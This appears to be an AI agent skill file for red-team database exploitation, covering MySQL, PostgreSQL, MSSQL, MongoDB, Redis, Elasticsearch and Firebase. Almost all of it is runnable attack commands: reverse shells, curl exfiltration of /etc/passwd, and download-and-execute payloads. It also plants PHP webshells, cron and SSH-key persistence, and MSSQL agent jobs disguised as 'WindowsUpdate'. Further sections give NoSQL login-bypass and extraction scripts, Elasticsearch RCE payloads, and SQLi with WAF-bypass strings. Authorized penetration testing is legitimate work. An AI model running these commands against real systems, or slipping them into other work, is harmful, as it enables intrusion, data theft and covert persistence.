---
name: rt-exploit-databases
description: "Master database exploitation skill routing to specific DB techniques. Covers MySQL (SQLi, UDF RCE, INTO OUTFILE), PostgreSQL (COPY TO PROGRAM RCE, pg_largeobject), MSSQL (xp_cmdshell, linked servers, agent jobs), MongoDB (NoSQL injection, authentication bypass), Redis (CONFIG SET RCE, Lua scripting), Elasticsearch (unauthenticated data dump, CVEs), and Firebase (open rules, unauthorized access)."
---

# rt-exploit-databases

## Overview

Database exploitation is a high-value phase in red team engagements. Databases store credentials, PII, business logic, and often provide pathways to OS-level command execution. This skill covers the full spectrum — from initial SQL injection discovery through to RCE via database-native mechanisms.

**When to use this skill:**
- You have confirmed database connectivity (direct port access, SQLi in app, or credentials found during credential hunting)
- You need to escalate from database access to OS command execution
- You are enumerating sensitive data (passwords, PII, business data) for impact demonstration
- You are moving laterally through linked database servers
- You found an unauthenticated database exposed to the internet

**Database types covered:**
| DB | Primary Attack Vector | RCE Path |
|----|----------------------|-----------|
| MySQL | SQLi, UDF loading | UDF, INTO OUTFILE webshell |
| PostgreSQL | SQLi, misconfig | COPY TO/FROM PROGRAM |
| MSSQL | SQLi, xp_cmdshell | xp_cmdshell, Agent Jobs |
| MongoDB | NoSQL injection | Authentication bypass |
| Redis | Unauthenticated access | CONFIG SET, Lua scripting |
| Elasticsearch | HTTP API | Unauthenticated data dump |
| Firebase | Misconfigured rules | Unauthorized read/write |

---

## Prerequisites and Setup

### Required Tools

```bash
# Core database clients
sudo apt install mysql-client postgresql-client mssql-tools redis-tools

# Exploitation frameworks
pip3 install sqlmap impacket
git clone https://github.com/n00py/LPEScripts   # Linux privilege escalation via DB
git clone https://github.com/NetSPI/PowerUpSQL   # MSSQL enumeration

# NoSQL tools
pip3 install pymongo
npm install -g nosqlmap

# Redis exploitation
git clone https://github.com/n0b0dyCN/redis-rogue-server
git clone https://github.com/Ridter/redis-rce

# Firebase tools
npm install -g firebase-tools
pip3 install firebaseEnum

# Elasticsearch
pip3 install elasticsearch

# General HTTP
sudo apt install curl jq
```

### Environment Setup

```bash
# Set target variables before starting (adjust per engagement)
export TARGET_IP="10.10.10.100"
export DB_PORT="3306"        # Change per DB type
export DB_USER="root"
export DB_PASS="password"
export LHOST="10.10.14.5"   # Your listener IP
export LPORT="4444"

# Create output directory
mkdir -p ~/engagements/$(date +%Y%m%d)/db-exploit
export OUTDIR=~/engagements/$(date +%Y%m%d)/db-exploit
```

---

## Skill Levels

### BEGINNER — Discovery and Basic Enumeration

Focus: Identify database type, version, basic data extraction.

```bash
# Identify open database ports
nmap -sV -p 1433,1521,3306,5432,5984,6379,9200,27017,28017 $TARGET_IP -oN $OUTDIR/db-ports.txt

# MySQL: Basic connectivity test
mysql -h $TARGET_IP -u root -p'' -e "SELECT version();"
mysql -h $TARGET_IP -u root --password="" -e "SHOW DATABASES;"

# PostgreSQL: Basic connectivity
psql -h $TARGET_IP -U postgres -c "SELECT version();"
psql -h $TARGET_IP -U postgres -l    # list databases

# MSSQL: Basic connectivity (requires mssql-tools)
sqlcmd -S $TARGET_IP -U sa -P 'password' -Q "SELECT @@version"

# MongoDB: Unauthenticated access check
mongo --host $TARGET_IP --port 27017 --eval "db.adminCommand({listDatabases:1})"

# Redis: Unauthenticated access check
redis-cli -h $TARGET_IP ping
redis-cli -h $TARGET_IP info server

# Elasticsearch: Check for open access
curl -s http://$TARGET_IP:9200/
curl -s http://$TARGET_IP:9200/_cat/indices?v

# Firebase: Check for open database rules
curl -s "https://TARGET-PROJECT.firebaseio.com/.json?shallow=true"
```

### INTERMEDIATE — Data Extraction and Privilege Escalation

Focus: Extract credentials, escalate within the database, write files.

```bash
# MySQL: Extract credentials and attempt file write
mysql -h $TARGET_IP -u root -p -e "SELECT user, authentication_string FROM mysql.user;"
mysql -h $TARGET_IP -u root -p -e "SELECT @@secure_file_priv;"
mysql -h $TARGET_IP -u root -p -e "SELECT '<?php system(\$_GET[\"cmd\"]); ?>' INTO OUTFILE '/var/www/html/shell.php';"

# MySQL: Check for writable plugin directory
mysql -h $TARGET_IP -u root -p -e "SHOW VARIABLES LIKE 'plugin_dir';"

# PostgreSQL: Check current user privileges
psql -h $TARGET_IP -U postgres -c "SELECT current_user, session_user;"
psql -h $TARGET_IP -U postgres -c "SELECT rolsuper FROM pg_roles WHERE rolname=current_user;"

# MSSQL: Check existing stored procedures
sqlcmd -S $TARGET_IP -U sa -P 'password' -Q "SELECT name FROM sys.objects WHERE type='P' AND name='xp_cmdshell'"
sqlcmd -S $TARGET_IP -U sa -P 'password' -Q "EXEC sp_configure 'show advanced options', 1; RECONFIGURE;"

# SQLMap: Automated injection and extraction
sqlmap -u "http://TARGET/page?id=1" --dbs --batch
sqlmap -u "http://TARGET/page?id=1" -D targetdb --tables --batch
sqlmap -u "http://TARGET/page?id=1" -D targetdb -T users --dump --batch

# MongoDB: Extract all collections
mongo --host $TARGET_IP --eval "db.getMongo().getDBNames().forEach(function(d){print(d)})"
mongo --host $TARGET_IP/admin --eval "db.system.users.find().forEach(printjson)"
```

### ADVANCED — Remote Code Execution via Database

Focus: OS command execution, shell upload, persistence.

```bash
# MySQL UDF RCE (see detailed section below)
# PostgreSQL COPY PROGRAM RCE
psql -h $TARGET_IP -U postgres -c "COPY (SELECT '') TO PROGRAM 'id > /tmp/pwned.txt'"
psql -h $TARGET_IP -U postgres -c "COPY (SELECT '') TO PROGRAM 'bash -c \"bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1\"'"

# MSSQL xp_cmdshell
sqlcmd -S $TARGET_IP -U sa -P 'password' -Q "EXEC xp_cmdshell 'whoami'"
sqlcmd -S $TARGET_IP -U sa -P 'password' -Q "EXEC xp_cmdshell 'powershell -e BASE64PAYLOAD'"

# Redis RCE via cron
redis-cli -h $TARGET_IP config set dir /var/spool/cron/
redis-cli -h $TARGET_IP config set dbfilename root
redis-cli -h $TARGET_IP set x "\\n\\n*/1 * * * * bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1\\n\\n"
redis-cli -h $TARGET_IP save
```

### EXPERT — Advanced Pivoting and Stealth Techniques

Focus: Linked server abuse, agent jobs, OPSEC-aware exploitation.

```bash
# MSSQL: Linked server enumeration and abuse
sqlcmd -S $TARGET_IP -U sa -P 'password' -Q "SELECT name FROM sys.servers WHERE is_linked=1"
sqlcmd -S $TARGET_IP -U sa -P 'password' -Q "EXEC ('xp_cmdshell ''whoami''') AT [LINKED-SERVER]"

# MSSQL: SQL Server Agent job for persistence
sqlcmd -S $TARGET_IP -U sa -P 'password' -Q "
USE msdb;
EXEC sp_add_job @job_name='WindowsUpdate';
EXEC sp_add_jobstep @job_name='WindowsUpdate', @step_name='run', @subsystem='CmdExec', @command='powershell -e PAYLOAD';
EXEC sp_add_schedule @schedule_name='Daily', @freq_type=4, @freq_interval=1, @active_start_time=10000;
EXEC sp_attach_schedule @job_name='WindowsUpdate', @schedule_name='Daily';
EXEC sp_add_jobserver @job_name='WindowsUpdate';
"

# PostgreSQL: pg_largeobject file read/write
psql -h $TARGET_IP -U postgres -c "SELECT lo_import('/etc/passwd');"
psql -h $TARGET_IP -U postgres -c "SELECT lo_export(16384, '/tmp/output.txt');"

# MySQL: External network connections via UDF (exfiltration)
# Use sys_exec UDF to call curl for data exfil
mysql -h $TARGET_IP -u root -p -e "SELECT sys_exec('curl -d @/etc/passwd http://$LHOST/exfil');"
```

---

## Step-by-Step Workflows

### Workflow 1: MySQL UDF RCE

User-Defined Functions (UDFs) allow loading native shared libraries into MySQL to execute OS commands.

**Step 1: Verify prerequisites**
```bash
# Check MySQL version (UDF loading requires specific paths)
mysql -h $TARGET_IP -u root -p -e "SELECT version();"

# Check plugin directory location
mysql -h $TARGET_IP -u root -p -e "SHOW VARIABLES LIKE 'plugin_dir';"
# Expected: /usr/lib/mysql/plugin/

# Check secure_file_priv (must be empty or match plugin dir)
mysql -h $TARGET_IP -u root -p -e "SHOW VARIABLES LIKE 'secure_file_priv';"

# Verify current user has FILE privilege
mysql -h $TARGET_IP -u root -p -e "SHOW GRANTS FOR CURRENT_USER();"
```

**Step 2: Obtain the UDF shared library**
```bash
# Download pre-compiled UDF library (choose correct architecture)
# Source: https://github.com/mysqludf/lib_mysqludf_sys

# From sqlmap's UDF library (most reliable)
locate lib_mysqludf_sys.so    # Linux
locate lib_mysqludf_sys.dll   # Windows

# Alternatively compile from source
git clone https://github.com/mysqludf/lib_mysqludf_sys
cd lib_mysqludf_sys
make
# Produces: lib_mysqludf_sys.so

# Convert binary to hex for MySQL upload
xxd -p lib_mysqludf_sys.so | tr -d '\n' > udf.hex
```

**Step 3: Upload UDF library via MySQL**
```bash
# Method 1: INTO DUMPFILE (requires FILE privilege and writable plugin dir)
mysql -h $TARGET_IP -u root -p << 'EOF'
SET @udf = (SELECT hex(load_file('/tmp/lib_mysqludf_sys.so')));
-- Or embed hex directly:
SET @udf = 0x7f454c46...;  -- paste hex content here
SELECT @udf INTO DUMPFILE '/usr/lib/mysql/plugin/lib_mysqludf_sys.so';
EOF

# Method 2: Using sqlmap automatic UDF injection
sqlmap -u "http://TARGET/page?id=1" --os-shell --technique=E

# Method 3: If you have direct MySQL access with root
mysql -h $TARGET_IP -u root -p -e "
SELECT 0x7f454c4602... INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so';
"
```

**Step 4: Create the UDF function**
```bash
mysql -h $TARGET_IP -u root -p << 'EOF'
CREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'lib_mysqludf_sys.so';
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'lib_mysqludf_sys.so';
EOF
```

**Step 5: Execute OS commands**
```bash
# Verify execution
mysql -h $TARGET_IP -u root -p -e "SELECT sys_eval('id');"
# Expected: uid=999(mysql) gid=999(mysql) groups=999(mysql)

# Reverse shell
mysql -h $TARGET_IP -u root -p -e "SELECT sys_exec('bash -c \"bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1\"');"

# Add SSH key for persistence
mysql -h $TARGET_IP -u root -p -e "SELECT sys_exec('mkdir -p /root/.ssh && echo SSH_PUBKEY >> /root/.ssh/authorized_keys');"

# Download and execute payload
mysql -h $TARGET_IP -u root -p -e "SELECT sys_exec('wget http://$LHOST/payload.sh -O /tmp/p.sh && chmod +x /tmp/p.sh && /tmp/p.sh');"
```

**Step 6: Cleanup**
```bash
mysql -h $TARGET_IP -u root -p << 'EOF'
DROP FUNCTION IF EXISTS sys_exec;
DROP FUNCTION IF EXISTS sys_eval;
-- Remove UDF file
SELECT sys_exec('rm /usr/lib/mysql/plugin/lib_mysqludf_sys.so');
EOF
```

---

### Workflow 2: PostgreSQL COPY TO PROGRAM RCE

Available since PostgreSQL 9.3. Requires SUPERUSER or pg_execute_server_program role.

**Step 1: Confirm superuser access**
```bash
psql -h $TARGET_IP -U postgres -c "SELECT current_user, pg_catalog.pg_has_role('postgres', 'pg_execute_server_program', 'member');"
psql -h $TARGET_IP -U postgres -c "SELECT rolsuper FROM pg_roles WHERE rolname=current_user;"
```

**Step 2: Basic command execution test**
```bash
# Write output to file (confirm execution)
psql -h $TARGET_IP -U postgres -c "COPY (SELECT '') TO PROGRAM 'id > /tmp/test.txt'"
psql -h $TARGET_IP -U postgres -c "COPY cmd_output FROM PROGRAM 'id'"
# This reads output back into a temp table

# Alternative with table
psql -h $TARGET_IP -U postgres << 'EOF'
CREATE TABLE cmd_output (output text);
COPY cmd_output FROM PROGRAM 'id';
SELECT * FROM cmd_output;
DROP TABLE cmd_output;
EOF
```

**Step 3: Reverse shell via COPY PROGRAM**
```bash
# Start listener first
nc -lvnp $LPORT &

# Execute reverse shell
psql -h $TARGET_IP -U postgres -c "COPY (SELECT '') TO PROGRAM 'bash -c \"bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1\"'"

# Alternative using Python
psql -h $TARGET_IP -U postgres -c "COPY (SELECT '') TO PROGRAM 'python3 -c \"import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((chr(49)+chr(48)+chr(46)+chr(49)+chr(48)+chr(46)+chr(49)+chr(52)+chr(46)+chr(53),4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);\"'"

# Perl reverse shell (often available)
psql -h $TARGET_IP -U postgres -c "COPY (SELECT '') TO PROGRAM 'perl -e \"use Socket;\$i=\\\"$LHOST\\\";\$p=$LPORT;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\\\"tcp\\\"));if(connect(S,sockaddr_in(\$p,inet_aton(\$i)))){open(STDIN,\\\">&S\\\");open(STDOUT,\\\">&S\\\");open(STDERR,\\\">&S\\\");exec(\\\"/bin/sh -i\\\");};\"'"
```

**Step 4: pg_largeobject file read**
```bash
# Read sensitive files via large objects
psql -h $TARGET_IP -U postgres << 'EOF'
-- Import file as large object
SELECT lo_import('/etc/passwd');
-- Note the returned OID (e.g., 16384)

-- Export large object to readable location
SELECT lo_export(16384, '/tmp/passwd_copy.txt');

-- Or read directly via pg_read_file (superuser only)
SELECT pg_read_file('/etc/passwd', 0, 1000000);
EOF

# Write files via large objects
psql -h $TARGET_IP -U postgres << 'EOF'
-- Create a webshell
SELECT lo_from_bytea(0, '<?php system($_GET["cmd"]); ?>');
-- Note OID, then export
SELECT lo_export(OID_HERE, '/var/www/html/shell.php');
EOF
```

**Step 5: Postgres SQLi via COPY PROGRAM (when injecting through app)**
```bash
# If injecting through SQLi, use stacked queries:
# Payload: '; COPY (SELECT '') TO PROGRAM 'curl http://LHOST/$(id)'; --
sqlmap -u "http://TARGET/page?id=1" --dbms=postgresql --os-cmd="id"
sqlmap -u "http://TARGET/page?id=1" --dbms=postgresql --os-shell
```

---

### Workflow 3: MSSQL xp_cmdshell Enable and Abuse

**Step 1: Enumerate current configuration**
```bash
# Check xp_cmdshell status
sqlcmd -S $TARGET_IP -U sa -P 'password' -Q "
SELECT name, value, value_in_use 
FROM sys.configurations 
WHERE name = 'xp_cmdshell'
"

# Check current user and role
sqlcmd -S $TARGET_IP -U sa -P 'password' -Q "
SELECT SYSTEM_USER, IS_SRVROLEMEMBER('sysadmin')
"

# Check linked servers
sqlcmd -S $TARGET_IP -U sa -P 'password' -Q "
SELECT name, data_source, provider FROM sys.servers WHERE is_linked=1
"
```

**Step 2: Enable xp_cmdshell**
```bash
sqlcmd -S $TARGET_IP -U sa -P 'password' -Q "
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
"

# Verify it's enabled
sqlcmd -S $TARGET_IP -U sa -P 'password' -Q "
SELECT value_in_use FROM sys.configurations WHERE name='xp_cmdshell'
"
```

**Step 3: Execute commands**
```bash
# Basic command execution
sqlcmd -S $TARGET_IP -U sa -P 'password' -Q "EXEC xp_cmdshell 'whoami'"
sqlcmd -S $TARGET_IP -U sa -P 'password' -Q "EXEC xp_cmdshell 'ipconfig /all'"
sqlcmd -S $TARGET_IP -U sa -P 'password' -Q "EXEC xp_cmdshell 'net user'"

# Reverse shell via PowerShell
# First generate payload with msfvenom or use a PS one-liner
sqlcmd -S $TARGET_IP -U sa -P 'password' -Q "
EXEC xp_cmdshell 'powershell -NoP -NonI -W Hidden -Exec Bypass -Command \"IEX(New-Object Net.WebClient).DownloadString(''http://$LHOST/Invoke-PowerShellTcp.ps1'')\"'
"

# Download and execute via certutil (if PowerShell blocked)
sqlcmd -S $TARGET_IP -U sa -P 'password' -Q "
EXEC xp_cmdshell 'certutil -urlcache -f http://$LHOST/payload.exe C:\Windows\Temp\payload.exe'
"
sqlcmd -S $TARGET_IP -U sa -P 'password' -Q "
EXEC xp_cmdshell 'C:\Windows\Temp\payload.exe'
"

# Read sensitive files
sqlcmd -S $TARGET_IP -U sa -P 'password' -Q "EXEC xp_cmdshell 'type C:\Users\Administrator\Desktop\flag.txt'"
```

**Step 4: MSSQL Agent Jobs (stealthier persistence)**
```bash
sqlcmd -S $TARGET_IP -U sa -P 'password' << 'EOF'
USE msdb;

-- Create job
EXEC sp_add_job 
    @job_name = 'SystemHealthCheck',
    @enabled = 1,
    @description = 'Routine system health monitoring';

-- Add step with payload
EXEC sp_add_jobstep
    @job_name = 'SystemHealthCheck',
    @step_name = 'CollectMetrics',
    @subsystem = 'CmdExec',
    @command = 'powershell -e BASE64ENCODED_PAYLOAD',
    @retry_attempts = 1,
    @retry_interval = 5;

-- Add schedule (runs at 10:00 AM daily)
EXEC sp_add_schedule
    @schedule_name = 'DailyMorning',
    @freq_type = 4,
    @freq_interval = 1,
    @active_start_time = 100000;

-- Attach schedule to job
EXEC sp_attach_schedule
    @job_name = 'SystemHealthCheck',
    @schedule_name = 'DailyMorning';

-- Assign to local server
EXEC sp_add_jobserver
    @job_name = 'SystemHealthCheck';

-- Run immediately for testing
EXEC sp_start_job 'SystemHealthCheck';
GO
EOF
```

**Step 5: Linked server command execution**
```bash
# Execute on linked server without enabling xp_cmdshell locally
sqlcmd -S $TARGET_IP -U sa -P 'password' -Q "
EXEC ('xp_cmdshell ''whoami''') AT [LINKED-SERVER-NAME]
"

# Chain through multiple linked servers
sqlcmd -S $TARGET_IP -U sa -P 'password' -Q "
EXEC ('EXEC (''xp_cmdshell ''''whoami'''''' '') AT [SERVER2]') AT [SERVER1]
"

# PowerUpSQL for automated linked server abuse
# Import-Module PowerUpSQL.ps1
# Get-SQLServerLinkCrawl -Instance TARGET -Verbose
```

---

### Workflow 4: MongoDB Authentication Bypass

**Step 1: Check for unauthenticated access**
```bash
# Direct connection without credentials
mongo --host $TARGET_IP --port 27017

# Via Python
python3 -c "
from pymongo import MongoClient
client = MongoClient('$TARGET_IP', 27017)
print(client.list_database_names())
"

# Check if authentication is enabled
mongo --host $TARGET_IP --port 27017 --eval "db.adminCommand({getCmdLineOpts:1})"
```

**Step 2: NoSQL injection payloads**

When MongoDB is behind a web application, inject via HTTP parameters:

```bash
# Standard login bypass - JSON body
# Original: {"username": "admin", "password": "secret"}
# Bypass: use $ne (not equal) operator

curl -s -X POST http://TARGET/login \
  -H "Content-Type: application/json" \
  -d '{"username": "admin", "password": {"$ne": "invalid"}}'

# $gt (greater than) bypass
curl -s -X POST http://TARGET/login \
  -H "Content-Type: application/json" \
  -d '{"username": "admin", "password": {"$gt": ""}}'

# $regex bypass
curl -s -X POST http://TARGET/login \
  -H "Content-Type: application/json" \
  -d '{"username": "admin", "password": {"$regex": ".*"}}'

# URL-encoded form parameter injection
curl -s -X POST http://TARGET/login \
  -d "username=admin&password[$ne]=invalid"

# Array injection
curl -s -X POST http://TARGET/login \
  -d "username[$regex]=.*&password[$ne]=x"
```

**Step 3: Blind NoSQL injection (data extraction)**
```bash
# Extract password character by character using $regex
# First character is 'a':
curl -s -X POST http://TARGET/login \
  -H "Content-Type: application/json" \
  -d '{"username": "admin", "password": {"$regex": "^a"}}'

# Automate with nosqlmap
git clone https://github.com/codingo/NoSQLMap
cd NoSQLMap
python nosqlmap.py

# Or use a custom script
python3 << 'EOF'
import requests
import string

url = "http://TARGET/login"
chars = string.ascii_letters + string.digits + string.punctuation
extracted = ""

for pos in range(50):
    found = False
    for c in chars:
        payload = {
            "username": "admin",
            "password": {"$regex": f"^{extracted}{c}"}
        }
        resp = requests.post(url, json=payload)
        if "Welcome" in resp.text or resp.status_code == 200:
            extracted += c
            print(f"[+] Found char: {c} -> Current: {extracted}")
            found = True
            break
    if not found:
        break

print(f"[+] Extracted: {extracted}")
EOF
```

**Step 4: Direct MongoDB data extraction**
```bash
# Dump all databases
mongo --host $TARGET_IP << 'EOF'
db.adminCommand({listDatabases: 1}).databases.forEach(function(d) {
    print("\n=== Database: " + d.name + " ===");
    var db2 = db.getSiblingDB(d.name);
    db2.getCollectionNames().forEach(function(c) {
        print("  Collection: " + c);
        db2.getCollection(c).find().limit(5).forEach(printjson);
    });
});
EOF

# Export specific collection to JSON
mongoexport --host $TARGET_IP --db targetdb --collection users --out $OUTDIR/users.json

# Dump entire database
mongodump --host $TARGET_IP --out $OUTDIR/mongodump/
```

---

### Workflow 5: Redis Configuration Exploitation

**Step 1: Confirm unauthenticated access**
```bash
redis-cli -h $TARGET_IP ping
# Expected: PONG

redis-cli -h $TARGET_IP info
redis-cli -h $TARGET_IP config get dir
redis-cli -h $TARGET_IP config get dbfilename
redis-cli -h $TARGET_IP config get requirepass
```

**Step 2: Check existing keys and data**
```bash
# List all keys
redis-cli -h $TARGET_IP keys '*'

# Get specific key types and values
redis-cli -h $TARGET_IP type keyname
redis-cli -h $TARGET_IP get keyname
redis-cli -h $TARGET_IP hgetall keyname    # for hash
redis-cli -h $TARGET_IP lrange keyname 0 -1  # for list

# Dump all keys and values
redis-cli -h $TARGET_IP --scan | while read key; do
    echo "KEY: $key"
    redis-cli -h $TARGET_IP get "$key"
    echo "---"
done
```

**Step 3: RCE via SSH authorized_keys write**
```bash
# Generate SSH key pair
ssh-keygen -t rsa -f /tmp/redis_rsa -N ""

# Prepare key with padding
(echo -e "\n\n"; cat /tmp/redis_rsa.pub; echo -e "\n\n") > /tmp/redis_key.txt

# Write key via Redis
cat /tmp/redis_key.txt | redis-cli -h $TARGET_IP -x set ssh_key

# Configure Redis to write to SSH directory
redis-cli -h $TARGET_IP config set dir /root/.ssh
redis-cli -h $TARGET_IP config set dbfilename authorized_keys
redis-cli -h $TARGET_IP save

# Connect via SSH
ssh -i /tmp/redis_rsa root@$TARGET_IP
```

**Step 4: RCE via cron job**
```bash
# Write malicious cron job
redis-cli -h $TARGET_IP config set dir /var/spool/cron/
redis-cli -h $TARGET_IP config set dbfilename root
redis-cli -h $TARGET_IP set cronpayload "\n\n*/1 * * * * bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1\n\n"
redis-cli -h $TARGET_IP save

# Alternative: crontabs directory
redis-cli -h $TARGET_IP config set dir /var/spool/cron/crontabs/
redis-cli -h $TARGET_IP config set dbfilename root
redis-cli -h $TARGET_IP set x "\n\n* * * * * /bin/bash -c 'bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1'\n\n"
redis-cli -h $TARGET_IP save
```

**Step 5: RCE via webshell write**
```bash
# Write PHP webshell to web root
redis-cli -h $TARGET_IP config set dir /var/www/html/
redis-cli -h $TARGET_IP config set dbfilename shell.php
redis-cli -h $TARGET_IP set webshell "<?php system(\$_GET['cmd']); ?>"
redis-cli -h $TARGET_IP save

# Test webshell
curl "http://$TARGET_IP/shell.php?cmd=id"
```

**Step 6: Redis Rogue Server RCE (for newer Redis versions)**
```bash
# Redis 4.x/5.x master-slave replication exploit
# Loads a malicious module via replication

git clone https://github.com/n0b0dyCN/redis-rogue-server
cd redis-rogue-server

# Compile the shared library payload
cd exp/
make

# Start rogue server and exploit
python3 redis-rogue-server.py --rhost $TARGET_IP --lhost $LHOST --lport $LPORT

# Alternative: redis-rce
git clone https://github.com/Ridter/redis-rce
cd redis-rce
python3 redis-rce.py -r $TARGET_IP -L $LHOST -P $LPORT -f exp.so
```

---

### Workflow 6: Elasticsearch Unauthenticated Data Extraction

**Step 1: Discover and fingerprint**
```bash
# Basic info
curl -s http://$TARGET_IP:9200/ | jq .

# Check cluster health
curl -s http://$TARGET_IP:9200/_cluster/health | jq .

# List all indices
curl -s "http://$TARGET_IP:9200/_cat/indices?v"

# Check for security plugin
curl -s "http://$TARGET_IP:9200/_nodes" | jq '.nodes[].plugins[].name'
```

**Step 2: Enumerate and extract data**
```bash
# Get all indices with size
curl -s "http://$TARGET_IP:9200/_cat/indices?v&h=index,docs.count,store.size" | sort -k3 -h -r

# List indices matching patterns
curl -s "http://$TARGET_IP:9200/_cat/indices/user*?v"
curl -s "http://$TARGET_IP:9200/_cat/indices/*password*?v"
curl -s "http://$TARGET_IP:9200/_cat/indices/*credential*?v"

# Get index mappings (field names)
curl -s "http://$TARGET_IP:9200/INDEX_NAME/_mapping" | jq .

# Extract documents from index (first 10)
curl -s "http://$TARGET_IP:9200/INDEX_NAME/_search?size=10&pretty"

# Extract ALL documents using scroll API
curl -s "http://$TARGET_IP:9200/INDEX_NAME/_search?scroll=1m&size=1000" \
  -H "Content-Type: application/json" \
  -d '{"query": {"match_all": {}}}' | jq . > $OUTDIR/es-data.json

# Search for specific fields
curl -s "http://$TARGET_IP:9200/INDEX_NAME/_search" \
  -H "Content-Type: application/json" \
  -d '{
    "query": {
      "multi_match": {
        "query": "password",
        "fields": ["*"]
      }
    }
  }' | jq '.hits.hits[]._source'

# Extract credentials fields specifically
curl -s "http://$TARGET_IP:9200/_search" \
  -H "Content-Type: application/json" \
  -d '{
    "_source": ["username", "password", "email", "token", "api_key"],
    "query": {"match_all": {}},
    "size": 1000
  }' | jq '.hits.hits[]._source'
```

**Step 3: Bulk export**
```bash
# Export entire index via elasticdump
npm install -g elasticdump

elasticdump \
  --input=http://$TARGET_IP:9200/INDEX_NAME \
  --output=$OUTDIR/es-INDEX_NAME.json \
  --type=data

# Export all indices
curl -s "http://$TARGET_IP:9200/_cat/indices?h=index" | while read index; do
    elasticdump \
      --input=http://$TARGET_IP:9200/$index \
      --output=$OUTDIR/es-$index.json \
      --type=data
done

# Python script for full dump
python3 << 'EOF'
import requests
import json

base = f"http://{TARGET_IP}:9200"
indices = requests.get(f"{base}/_cat/indices?format=json").json()

for idx in indices:
    name = idx['index']
    print(f"[*] Dumping: {name}")
    resp = requests.get(f"{base}/{name}/_search?size=10000")
    with open(f"{OUTDIR}/{name}.json", 'w') as f:
        json.dump(resp.json(), f, indent=2)
EOF
```

**Step 4: Known Elasticsearch CVEs**
```bash
# CVE-2014-3120 / CVE-2015-1427: Groovy script injection (ES < 1.6)
curl -s -X POST "http://$TARGET_IP:9200/_search?pretty" \
  -H "Content-Type: application/json" \
  -d '{
    "size": 1,
    "query": {
      "filtered": {
        "query": {
          "match_all": {}
        }
      }
    },
    "script_fields": {
      "cmd": {
        "script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\"id\").getInputStream()).useDelimiter(\"\\\\A\").next();"
      }
    }
  }'

# CVE-2015-1427: Sandbox escape via Groovy
curl -s -X POST "http://$TARGET_IP:9200/_search?pretty" \
  -H "Content-Type: application/json" \
  -d '{
    "script_fields": {
      "exploit": {
        "script": "Thread.currentThread().getContextClassLoader().loadClass(\"java.lang.Runtime\").getMethod(\"exec\",String.class).invoke(Thread.currentThread().getContextClassLoader().loadClass(\"java.lang.Runtime\").getMethod(\"getRuntime\").invoke(null),\"id\")"
      }
    }
  }'
```

---

### Workflow 7: Firebase Open Rules Bypass

**Step 1: Identify Firebase projects**
```bash
# Common Firebase URL patterns:
# https://PROJECT_ID.firebaseio.com/
# https://PROJECT_ID-default-rtdb.firebaseio.com/

# Enumerate via JS source code
curl -s http://TARGET/ | grep -oE 'https://[a-z0-9-]+\.firebaseio\.com' | sort -u
curl -s http://TARGET/ | grep -oE '"projectId":"[^"]*"' 

# Check if Realtime Database is public
curl -s "https://PROJECT_ID.firebaseio.com/.json"
curl -s "https://PROJECT_ID.firebaseio.com/.json?shallow=true"

# Firestore (different endpoint)
curl -s "https://firestore.googleapis.com/v1/projects/PROJECT_ID/databases/(default)/documents/COLLECTION"
```

**Step 2: Enumerate and extract data**
```bash
# Read root with shallow=true (faster, less data)
curl -s "https://PROJECT_ID.firebaseio.com/.json?shallow=true" | jq 'keys[]'

# Read specific collections
curl -s "https://PROJECT_ID.firebaseio.com/users.json" | jq .
curl -s "https://PROJECT_ID.firebaseio.com/messages.json" | jq .

# Download entire database (use with caution - may be large)
curl -s "https://PROJECT_ID.firebaseio.com/.json" -o $OUTDIR/firebase-dump.json

# Firestore: List all collections
curl -s "https://firestore.googleapis.com/v1/projects/PROJECT_ID/databases/(default)/documents" | jq .

# Using firebase-tools CLI
firebase login --no-localhost
firebase database:get / --project PROJECT_ID > $OUTDIR/firebase-full.json

# firebaseEnum for automatic enumeration
python3 firebaseEnum.py -k API_KEY
```

**Step 3: Write to open Firebase (impact demonstration)**
```bash
# Demonstrate write access (always get explicit authorization first)
curl -s -X PUT "https://PROJECT_ID.firebaseio.com/security-test/red-team.json" \
  -H "Content-Type: application/json" \
  -d '{"timestamp": "'"$(date -u +%Y-%m-%dT%H:%M:%SZ)"'", "message": "Open write access confirmed by Red Team", "tester": "Red Team Assessment"}'

# Verify write was successful
curl -s "https://PROJECT_ID.firebaseio.com/security-test/red-team.json" | jq .
```

**Step 4: Firestore rules bypass**
```bash
# Test Firestore rules with API key from JS source
API_KEY="AIzaSy..."

# List documents in collection
curl -s "https://firestore.googleapis.com/v1/projects/PROJECT_ID/databases/(default)/documents/users?key=$API_KEY" | jq .

# Read specific document
curl -s "https://firestore.googleapis.com/v1/projects/PROJECT_ID/databases/(default)/documents/users/USER_ID?key=$API_KEY" | jq .

# Write to Firestore
curl -s -X POST "https://firestore.googleapis.com/v1/projects/PROJECT_ID/databases/(default)/documents/pentest?key=$API_KEY" \
  -H "Content-Type: application/json" \
  -d '{"fields": {"test": {"stringValue": "red team was here"}}}'
```

---

## Payload Examples

### SQLi Payloads (MySQL)

```sql
-- Basic UNION-based data extraction
' UNION SELECT 1,2,3,group_concat(table_name),5 FROM information_schema.tables WHERE table_schema=database()-- -

-- Error-based extraction (MySQL)
' AND extractvalue(1,concat(0x7e,(SELECT password FROM users LIMIT 1)))-- -

-- Time-based blind (when no output)
' AND SLEEP(5)-- -
'; IF(1=1, SLEEP(5), 0)-- -

-- File write via SQLi
' UNION SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/cmd.php'-- -

-- Second-order SQLi (stored, executed later)
admin'-- -    (in username field, exploited on profile page)

-- WAF bypass techniques
/*!50000SELECT*/ /*!50000version*/()
SELE/**/CT version()
%53%45%4c%45%43%54 version()   -- URL encoded
```

